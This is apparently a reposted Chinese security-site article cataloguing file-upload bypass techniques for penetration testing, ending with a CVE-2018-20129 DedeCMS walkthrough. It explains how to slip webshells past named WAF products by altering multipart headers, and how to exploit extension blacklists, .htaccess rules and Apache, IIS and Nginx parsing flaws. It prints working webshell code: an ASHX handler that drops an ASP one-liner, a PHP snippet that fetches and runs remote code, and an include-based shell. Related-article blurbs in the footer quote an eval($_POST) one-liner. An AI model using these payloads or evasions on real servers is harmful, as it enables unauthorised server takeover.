您当前的位置:首页 > 电脑百科 > 安全防护 > 数据安全

文件上传绕过

时间:2020-07-20 12:43:07  来源:  作者:

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。

但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识。

俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用。

文件上传校验姿势常见有这些

客户端JAVAscript校验(一般只校验后缀名)服务端校验文件头content-type字段校验(image/gif)文件内容头校验(GIF89a)后缀名黑名单校验后缀名白名单校验自定义正则校验WAF设备校验(根据不同的WAF产品而定)

以下我们分类总结一下绕过手段这里我们分类总结一下绕过手段

WAF绕过

安全狗绕过

1.绕过思路:对文件的内容,数据,数据包进行处理。

关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"将form-data;修改为~form-data;

2.通过替换大小写来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: Application/octet-stream将Content-Disposition修改为content-Disposition将 form-data 修改为Form-data将Content-Type修改为content-Type

3.通过删减空格来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream将Content-Disposition: form-data 冒号后面增加或减少一个空格将form-data; name="file";分号后面增加或减少一个空格将Content-Type: application/octet-stream 冒号后面增加一个空格

4.通过字符串拼接绕过

看Content-Disposition: form-data; name="file"; filename="yjh3.php"将 form-data 修改为 f+orm-data将from-data 修改为 form-d+ata

5.双文件上传绕过

<formaction="https://www.xxx.com/xxx.asp(php)"method="post"name="form1"enctype="multipart/form‐data"><inputname="FileName1"type="FILE"class="tx1"size="40"><inputname="FileName2"type="FILE"class="tx1"size="40"><inputtype="submit"name="Submit"value="上传"></form>

6.HTTP header 属性值绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"我们通过替换form-data 为*来绕过Content-Disposition:*; name="file"; filename="yjh.php"

7.HTTP header 属性名称绕过

源代码:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png绕过内容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

8.等效替换绕过

原内容:Content-Type: multipart/form-data; boundary=---------------------------471463142114修改后:Content-Type: multipart/form-data; boundary =---------------------------471463142114boundary后面加入空格。

9.修改编码绕过

使用UTF-16、Unicode、双URL编码等等

WTS-WAF 绕过上传


原内容:Content-Disposition: form-data; name="up_picture"; filename="xss.php"添加回车Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度云上传绕过


百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里云上传绕过


源代码:Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg修改如下:Content-Disposition: form-data; name="img_crop_file"; filename="1.php"没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

360主机上传绕过


源代码:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png绕过内容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngContent-Disposition 修改为 Content-空格Disposition

MIME类型绕过


上传木马时,提示格式错误。直接抓包修改Content-Type为正确的格式尝试绕过

文件内容检测绕过


抓包,在正常图片末尾添加一句话木马

多次上传Win特性绕过


多次上传同一个文件,windows会自动更新补全TEST (1).php。有时会触发条件竞争,导致绕过。

条件竞争绕过


通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

CONTENT-LENGTH绕过


针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

文件内容检测绕过


针对文件内容检测的绕过,一般有两种方式,1.制作图片马2.文件幻术头绕过

垃圾数据填充绕过


修改HTTP请求,再之中加入大量垃圾数据。

黑名单后缀绕过


文件扩展名绕过

Php除了可以解析php后缀还可以解析php2.php3,php4 后缀

ashx上传绕过

cer,asa,cdx等等无法使用时候。解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put<%@WebHandlerLanguage="C#"Class="Handler"%>usingSystem;usingSystem.Web;usingSystem.IO;publicclassHandler:IHttpHandler{publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain";//这里会在目录下生成一个test.asp的文件StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp"));//这里是写入一句话木马 密码是:ptu file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close();}publicboolIsReusable{get{returnfalse;}}}

特殊文件名绕过

比如发送的 http包里把文件名改成 test.asp.或 test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/linux系统没有这个特性。

Windows流特性绕过

php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

白名单后缀绕过


00截断绕过上传

php .jpg 空格二进制20改为00IIS 6.0目录路径检测解析绕过上传路径改为XXX/1.asp/

htaccess解析漏洞

上传的jpg文件都会以php格式解析.htaccess内容:AddType application/x-httpd-php .jpg

突破MIME限制上传

方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。

Apache解析漏洞

1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。

IIS解析漏洞

IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"会优先按asp来解析IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

Nginx解析漏洞

解析:(任意文件名)/(任意文件名).php |(任意文件名)%00.php描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

解析漏洞

Content-Disposition: form-data; name="file"; filename=php.php;.jpg

前端限制绕过


使用BURP抓包修改后重放或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

下载绕过


远程下载文件绕过

<?php$str = file_get_contents('http://127.0.0.1/ian.txt');$str($_post['ian']);?>

文件包含绕过
上传图片木马

$x=$_GET['x'];include($x);访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

下面我们来看个案例:CVE-2018-20129-——DedeCMS V5.7 SP2前台文件上传漏洞

Desdev DedeCMS 5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上传漏洞,远程攻击者可利用该漏洞上传并执行任意PHP代码。

最新的DEDECMS系统存在前台文件上传漏洞,需要管理员打开会员中心,访问链接:http://127.0.0.1/dedecms/uploads/member/content_list.php?channelid=1或者进入会员中心后进入内容中心模块,然后发布一个文章。

点击下面的编辑器的上传图片按钮。

文件上传绕过

 

点击上传,选择准备好的一句话图片木马文件

文件上传绕过

 

再用burp工具抓包,将1.jpg改为1.jpg.p*hp

文件上传绕过

 

然后重新请求发送数据包,成功的getshell了,并返回了木马地址。

文件上传绕过

 

代码部分


漏洞在于用户发布文章上传图片处。

处理文件在/include/dialog/select_images_post.php中的36行,

过滤了一些看起来不正常(异常)的字符。

文件上传绕过

 

而上传文件存在全局过滤/include/uploadsafe.inc.php可以看到名字中不得有上述字符,且限制了content-type。

按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:

文件上传绕过

 

再次过滤了图片名,并且再次判断如上三种文件类型是否存在其中。

这么一次过滤,直接粗暴的将一些特殊字符替换为空

那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制

比如文件名为1.jpg.php,从而可以判断,不仅仅只有可以绕过,% ?<> :都是可以绕过的

文件上传绕过

 


文件上传绕过


Tags:文件上传   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
介绍FilePond是一个JavaScript库,它提供流畅的拖放文件上传功能。可以上传任何你扔在它上面的东西,优化图像以便更快地上传,并提供一个非常优雅的、可靠的、平滑的用户体验。...【详细内容】
2020-11-23  Tags: 文件上传  点击:(188)  评论:(0)  加入收藏
简介上传文件功能可以说是项目经常出现的需求。从在社交媒体上上传照片到在求职网站上发布简历,文件上传无处不在。在本文中,我们将讨论 HTML文件上传支持的10种用法,希望对你...【详细内容】
2020-11-12  Tags: 文件上传  点击:(73)  评论:(0)  加入收藏
文件上传漏洞文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木...【详细内容】
2020-10-13  Tags: 文件上传  点击:(151)  评论:(0)  加入收藏
前言大家好,我是bigsai,今天我们学习SpringMVC的文件上传下载。文件上传和下载是互联网web应用非常重要的组成部分,它是信息交互传输的重要渠道之一。你可能经常在网页上传下...【详细内容】
2020-07-30  Tags: 文件上传  点击:(57)  评论:(0)  加入收藏
文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识。...【详细内容】
2020-07-20  Tags: 文件上传  点击:(151)  评论:(0)  加入收藏
利用文件上传实现XSS攻击是一个Hacking Web应用的很好机会,特别是无处不在的用户头像上传案例中,这就给予我们很多发现开发者错误的机会。基本的文件上传 XSS 攻击有以下几种...【详细内容】
2020-04-07  Tags: 文件上传  点击:(367)  评论:(0)  加入收藏
在kali的里面随机找一张png结尾的图片,然后重命名一下改成1.php%00.png。 改成这样的名字!! 然后用编辑器编辑一下! 在空白处写入一句话木马!!<%php @eval($_POST[pass]);?>像这样...【详细内容】
2019-12-23  Tags: 文件上传  点击:(116)  评论:(0)  加入收藏
随着Linux操作系统被大家广泛使用,如何搞笑快速访问成了大家关心的话题。目前市面上的用作远程连接的工具比较多,今天介绍一款自认为还是比较好用的叫xshell,本次给大家演示的x...【详细内容】
2019-12-19  Tags: 文件上传  点击:(133)  评论:(0)  加入收藏
引言JFinal是国产优秀的web框架,短小精悍强大,易于使用。近期团队内一名小伙伴(LuoKe)在安全测试的时候报了一个很玄学的任意文件上传,本着知其然必知其所以然的态度去跟进了...【详细内容】
2019-12-18  Tags: 文件上传  点击:(119)  评论:(0)  加入收藏
作者:HelloGitHub-kalifun这是 HelloGitHub 推出的《讲解开源项目》[1]系列,今天给大家推荐一个JavaScript 开源的文件上传库项目&mdash;&mdash;FilePond一、介绍1.1 FileP...【详细内容】
2019-09-02  Tags: 文件上传  点击:(233)  评论:(0)  加入收藏
▌简易百科推荐
众所周知,Windows系统流氓软件众多,其中不乏出身大厂的产品。这些带有流氓性质的软件,很多都会偷偷扫描系统数据,读取用户文件,造成电脑卡顿拖慢不说,还严重侵害了个人隐私,造成巨...【详细内容】
2021-12-06  趣玩APPS    Tags:流氓软件   点击:(16)  评论:(0)  加入收藏
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  IT野涵    Tags:sql注入   点击:(21)  评论:(0)  加入收藏
互联网时代,不论是个人还是组织,都将数据视为一项重要的资产。为了便于存储、管理,企业常常会为各项数据建立一个数据库,如果没有做好安全风险防护,一旦数据库被攻占,企业将迎来很...【详细内容】
2021-10-28  快快网络   企鹅号  Tags:数据库   点击:(50)  评论:(0)  加入收藏
前言(可能思路狭隘,有缺有错,师傅们多带带)【查看资料】Author: 0ne本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告...【详细内容】
2021-10-28  IT野涵    Tags:缺口   点击:(46)  评论:(0)  加入收藏
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个1、目标网站 2、发现有WAF防护 3、判断存在注入...【详细内容】
2021-10-19    博客园  Tags:SQL注入   点击:(52)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  woaker    Tags:SQL注入漏洞   点击:(67)  评论:(0)  加入收藏
前言本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。可回显注入联合注入在...【详细内容】
2021-08-26  合天网安实验室    Tags:sql注入   点击:(60)  评论:(0)  加入收藏
“放纵自己的欲望是最大的祸害,窥探别人的隐私是最大的罪恶,不知自己的过失是最大的病痛”。 上文咱们知道了目前互联网的数据安全存在隐患,数据安全的问题,每天都在发生,只不过...【详细内容】
2021-08-13  小陶子矿工    Tags:IPFS   点击:(79)  评论:(0)  加入收藏
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  IT影子    Tags:sql注入   点击:(66)  评论:(0)  加入收藏
1. 使用 Burpsuite: 1. Capture the request using burpsuite. 2. Send the request to burp scanner. 3. Proceed with active scan. 4. Once the scan is finished, l...【详细内容】
2021-08-04  李志宽    Tags:SQL注入   点击:(74)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条